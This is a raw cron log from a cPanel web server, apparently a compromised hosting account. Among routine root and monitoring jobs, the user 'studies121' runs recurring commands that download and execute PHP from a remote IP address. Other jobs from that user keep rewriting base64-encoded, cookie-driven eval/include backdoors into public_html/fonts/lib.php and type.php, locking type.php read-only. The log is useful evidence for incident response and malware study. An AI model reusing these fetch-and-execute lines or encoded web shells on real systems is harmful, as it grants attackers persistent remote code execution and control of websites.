Sep  6 10:25:01 ip-184-168-122-23 CROND[23567]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:25:01 ip-184-168-122-23 CROND[23570]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:25:01 ip-184-168-122-23 CROND[23569]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 10:26:01 ip-184-168-122-23 CROND[23663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:26:01 ip-184-168-122-23 CROND[23665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:26:01 ip-184-168-122-23 CROND[23666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:26:01 ip-184-168-122-23 CROND[23668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:26:01 ip-184-168-122-23 CROND[23667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:27:01 ip-184-168-122-23 CROND[23756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:27:01 ip-184-168-122-23 CROND[23758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:27:01 ip-184-168-122-23 CROND[23759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:27:01 ip-184-168-122-23 CROND[23760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:28:01 ip-184-168-122-23 CROND[23843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:28:01 ip-184-168-122-23 CROND[23847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:28:01 ip-184-168-122-23 CROND[23846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:28:01 ip-184-168-122-23 CROND[23848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:28:01 ip-184-168-122-23 CROND[23850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:29:01 ip-184-168-122-23 CROND[24030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:29:01 ip-184-168-122-23 CROND[24033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:29:01 ip-184-168-122-23 CROND[24034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:29:01 ip-184-168-122-23 CROND[24032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:30:01 ip-184-168-122-23 CROND[24137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:30:01 ip-184-168-122-23 CROND[24138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:30:01 ip-184-168-122-23 CROND[24142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:30:01 ip-184-168-122-23 CROND[24143]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:30:01 ip-184-168-122-23 CROND[24147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:30:01 ip-184-168-122-23 CROND[24146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:30:01 ip-184-168-122-23 CROND[24144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:30:01 ip-184-168-122-23 CROND[24149]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:31:01 ip-184-168-122-23 CROND[24246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:31:01 ip-184-168-122-23 CROND[24247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:31:01 ip-184-168-122-23 CROND[24249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:31:01 ip-184-168-122-23 CROND[24250]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 10:31:01 ip-184-168-122-23 CROND[24254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:32:01 ip-184-168-122-23 CROND[24361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:32:01 ip-184-168-122-23 CROND[24360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:32:01 ip-184-168-122-23 CROND[24362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:32:01 ip-184-168-122-23 CROND[24366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:32:01 ip-184-168-122-23 CROND[24365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:33:01 ip-184-168-122-23 CROND[24446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:33:01 ip-184-168-122-23 CROND[24449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:33:01 ip-184-168-122-23 CROND[24447]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:33:01 ip-184-168-122-23 CROND[24448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:34:01 ip-184-168-122-23 CROND[24640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:34:01 ip-184-168-122-23 CROND[24643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:34:01 ip-184-168-122-23 CROND[24645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:34:01 ip-184-168-122-23 CROND[24644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:34:01 ip-184-168-122-23 CROND[24646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:35:01 ip-184-168-122-23 CROND[24768]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24771]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:35:01 ip-184-168-122-23 CROND[24773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:36:01 ip-184-168-122-23 CROND[24898]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 10:36:01 ip-184-168-122-23 CROND[24897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:36:01 ip-184-168-122-23 CROND[24899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:36:01 ip-184-168-122-23 CROND[24900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:36:01 ip-184-168-122-23 CROND[24901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:37:01 ip-184-168-122-23 CROND[24998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:37:01 ip-184-168-122-23 CROND[24999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 10:37:01 ip-184-168-122-23 CROND[25000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:37:01 ip-184-168-122-23 CROND[25001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 10:38:01 ip-184-168-122-23 CROND[25081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:38:01 ip-184-168-122-23 CROND[25083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
